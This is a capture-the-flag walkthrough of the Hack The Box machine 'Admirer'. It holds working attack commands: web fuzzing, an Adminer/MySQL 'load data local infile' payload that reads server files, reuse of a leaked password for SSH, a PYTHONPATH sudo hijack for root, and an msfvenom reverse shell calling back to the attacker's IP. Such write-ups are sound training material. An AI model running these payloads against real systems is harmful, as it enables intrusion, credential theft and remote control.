Intro :flashlight:

Admirer starts off looking like an easy box, some say it is, some say it’s supposed to be medium, I just say it forces you to properly fuzz webapps. Then it also ends with a privesc vector that isn’t just a straight up CVE, forces you to properly read manuals and think of flaws in certain configurations.

Initial Foothold :mag:

Start off with putting the IP 10.10.10.187 in /etc/hosts as admirer.htb, then masscan,

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.206 | tee masscan.out
...
cat masscan.out

Discovered open port 22/tcp on 10.10.10.187                                    
Discovered open port 80/tcp on 10.10.10.187                                    
Discovered open port 21/tcp on 10.10.10.187

Now nmap.

nmap -A -oA nmap -p21,22,80 10.10.10.187

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
Full nmap output
# Nmap 7.80 scan initiated Wed Sep 23 14:22:11 2020 as: nmap -A -oA nmap -p21,22,80 10.10.10.187
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.18 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   327.93 ms 10.10.14.1
2   328.04 ms admirer.htb (10.10.10.187)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 23 14:22:33 2020 -- 1 IP address (1 host up) scanned in 21.88 seconds

Enumeration

We see right away there’s a disallowed dir, let’s look at the robots.txt

Trying to access /admin-dir we get a 403.

So I tried to bypass the 403 by changing the request method, meddling with the HTTP header: User-Agent, X-Forwarded-For, Referer, but all are blocked.

So then I tried to fuzz the /admin-dir in order to find stuff in it, maybe we’re just not allowed to list the files in /admin-dir but we can access the files in it directly.

ffuf -c -w /usr/share/wordlists/wfuzz/general/megabeast.txt -u http://10.10.10.187:80/admin-dir/FUZZ.txt | tee ffuf.out

...
contacts                [Status: 200, Size: 350, Words: 19, Lines: 30]

Note that easy boxes usually have txt files, which is why I tried that extension. Anyway we found contacts.txt.

We found contacts, but what we want are the creds as hinted by the robots.txt fiile. We do see a naming convention here, which is simply name.txt, so then I tried to manually fuzz for this credentials file, and then I found it with credentials.txt

We got some creds now, let’s try the most obvious one, ftpuser.

We got some files:

We see some quite a bit of new things in the archive.

After getting this many creds, I tried to manually stuff them to ftp and ssh, but none worked. There is a wordpress account though, so I tried to fuzz for a wordpress login portal, but I couldn’t find one. So then I just tried to fuzz for the fiels in this archive, maybe the files here are actually live on the webapp?

We did find the phpinfo file, then I tried to get to admin_tasks.php because there’s a shell_exec function in it.

After quite a bit of trial and error and googling, I don’t think you can do command injection here because it only accepts certain strings, and even though it’s using loose comparison (==), sending data through HTTP makes you limited to just string and array data type. So I put this one on the side for now.

Then I tried to access db_admin.php but it didn’t exist, all the other files in utility-script/ exists on the webapp except this one.

There’s a little TODO note here, maybe he got around to finishing it? Googling shows a tool called adminer. After a bit of reading, it’s basically just like phpmyadmin, except it sounds awfully similar to the box’s name.

After further reading, we know that adminer is only 1 single php file, abd it’s common to name it adminer.php regardless of version, and it’s also usually put in the root folder of the webapp. So now we fuzz for this adminer.php file, I did it manually.

admirer.htb/adminer.php
admirer.htb/admin-dir/adminer.php
admirer.htb/utility-scripts/adminer.php

We get a login page, try out all the creds we have so far, but none worked.

We did also got the version number (4.6.2) and wierdly enough there’s another version number beside it (4.7.7) probably indicating that the current installation is outdated. Googling got me this very detailed article about an LFI vulnerability.

The exploit is also an interesting one, because the cause of the vulnerability is the mysql protocol, not the adminer itself. So the scenario of the exploit is:

  1. we don’t know the database creds of our target, but
  2. we can make our own database, and connect to it
  3. then we can query load data local which would actually load files from the local machine, which is where adminer is located, which is our target machine, into the database that’s being used, which is our database. Essentially stealing their local files.

So let’s create our database that listens to remote connections first. For me, I’m using the preinstalled mariadb from kali, so I edited the /etc/mysql/mariadb.conf.d/50-server.cnf file, changing the bind_address value from 127.0.0.1 to my htb IP.

Then you can use your root user, but I made a dummy user for this, and a dummy database for that user to scribble on.

create user 'dummy'@'%' identified by 'dummy';
create database dummy;
grant all privileges on dummy.* to dummy@'%';

Then I logged in with dummy:dummy on adminer using the “dummy” database.

User Own :heavy_dollar_sign:

We are logged in! Now we’re going to use the sql command feature. I created a table to load the data into.

create table passwd(row varchar(255));

I tried to load /etc/passwd into the table, the payload looks like this.

load data local infile '/etc/passwd'
into table dummy.passwd
fields terminated by '\n'

Which is why I named it “passwd”, but on executing it, we got an error.

So I guess we’re only limited to the webapp directory, which is maybe /var/www/html? Not all hope is lost though, because from the html.tar.gz archive, we know that there were creds in html/index.php and html/utility-scripts/db_admin.php.

So then I tried some stuff and tried to include the admin_tasks.php file, and it worked.

I tried to grab it directly without paths and it worked, so now we know we’re in the utility-scripts dir (should’ve known just from the url, duh). Let’s empty out the table and this time we’ll load in the index.php file.

load data local infile '../index.php'
into table dummy.passwd
fields terminated by '\n'

It works! Then we scroll down a bit and find the real creds that are used for the webapp’s database.

Now we log out of our own database, change back bind_address to 127.0.0.1 on our config file, stop the service, so that we’re not exposing ourselves anymore. Then on the victim’s machine we login to localhost with the creds we just got and use the “admirerdb” database.

The database looks like it doesn’t hold any sensitive data though, but we still got new creds (waldo:&<h5b~yK3F#{PaPB&dA}{H>), so let’s stuff those again.

Nice, thanks to waldo using the same password on his database and his ssh, we skipped www-data and got user immediately, unexpected but very nice.

Root Own :zap:

Get straight in, we got user’s password so I always go for sudo -l, we found something.

I thought it’s going to be NOPASSWD since it’s an easy box, but we got SETENV which I’ve never heard of, so off to the manpages!

man sudoers

It says something about the -E option, is that a sudo option or something? We also saw env_reset on sudo -l output from before.

man sudo

Okay I guess it makes sense now, if you want to do sudo -E you must have SETENV in the sudoers file, if not then it’ll throw an error. So then I tried to sudo /opt/scripts/admin_tasks.sh and sudo -E /opt/scripts/admin_tasks.sh, but I don’t really see much difference, it only differs when I execute /opt/scripts/admin_tasks.sh without sudo, for certain tasks, it needs more privleges. So I tried to read this admin_tasks.sh file and understand what it’s doing.

What I got from reading the file is

We see that it belongs to admins group which we are part of, but we don;t have write accessto the file so we can’t overwrite it, we also don’t have write access to the folder it’s in, so we can’t hijack a library that it’s using.

At this point, I was googling and trying out a bunch of stuff, from reading the python docs finding out the possible ways of hijacking a library, to trying out export EUID=0 thinking it’ll immediately give us root access, a lot of time has passed here.

Until I googled and got this nice article. I saw an interesting variable that was popping up quite often in my googling was also popping up in that article, and it’s PYTHONPATH. Then I googled about this var, and it turns out that you’re supposed to put in paths in this var, and then python will look for libraries/modules inside that path first, this is perfect for library hijacking! The problem now is how do we fill in the value of this PYTHONPATH var, so then I googled a bunch of stuff again, and tried things out myself.

I noticed that if I do sudo -E /opt/scripts/admin_tasks.sh and tried to do the tasks that require $EUID = 0, it didn’t work, because the env vars were preserved, and our old env has the $EUID set to 1000, which is our regular user uid, but if I tried sudo -E EUID=0 /opt/scripts/admin_tasks.sh, our $EUID is actually set to 0, which means we can just give key=val pairs and it will be exported into the environment variables when running sudo on /opt/scripts/admin_tasks.sh.

So here we go, first we make our evil library, I put it in /home/waldo. I also added a dummy make_archive function so that the function call wouldn’t throw an error.

Moment of truth.

sudo -E EUID=0 PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh

We definitely got a root shell there, but it looks like the script immediately exited, killing our shell. Although we technically can just get the root flag right here, but no, I want a shell. So let’s try throwing a reverse shell to our machine, I’ll practice using msfvenom while I’m at it.

msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.3 LPORT=1234 > revshell.py

It looks like we’re supposed to run it with a unix shell, so we’ll just take the python code, since we’ll be running it with python directly, and here we go, moment of truth 2.

Of course not forgetting to listen for it beforehand,

and there it is, our lovely root shell. :checkered_flag::checkered_flag:

Post Exploitation :memo:

Looking back now, I should’ve tried to password spray that ssh port first with all the usernames and passwords I was getting at that stage, could’ve missed an entry point there.

I also need to get used to using SecLists instead of the default wordlists that came with kali, as you can see there are only 2 matches of “adminer” in the wordlists dir and that’s not even in the fuzzing wordlist. But in SecLists you get a bunch of hits, even in the quickhits.txt.

I also should work on my tunnelvision, I didn’t ran linpeas until quite late in the privesc part, and I didn’t ran pspy at all, luckily all linpeas found was some mail, the mail did contain hints though, it was periodically running rm /home/waldo/*.p* which should’ve been a hint about making a python file in our home directory, I thought *.p* was a rabbit hole to get us to think it’s for .php, oh well.

Takeaway :books: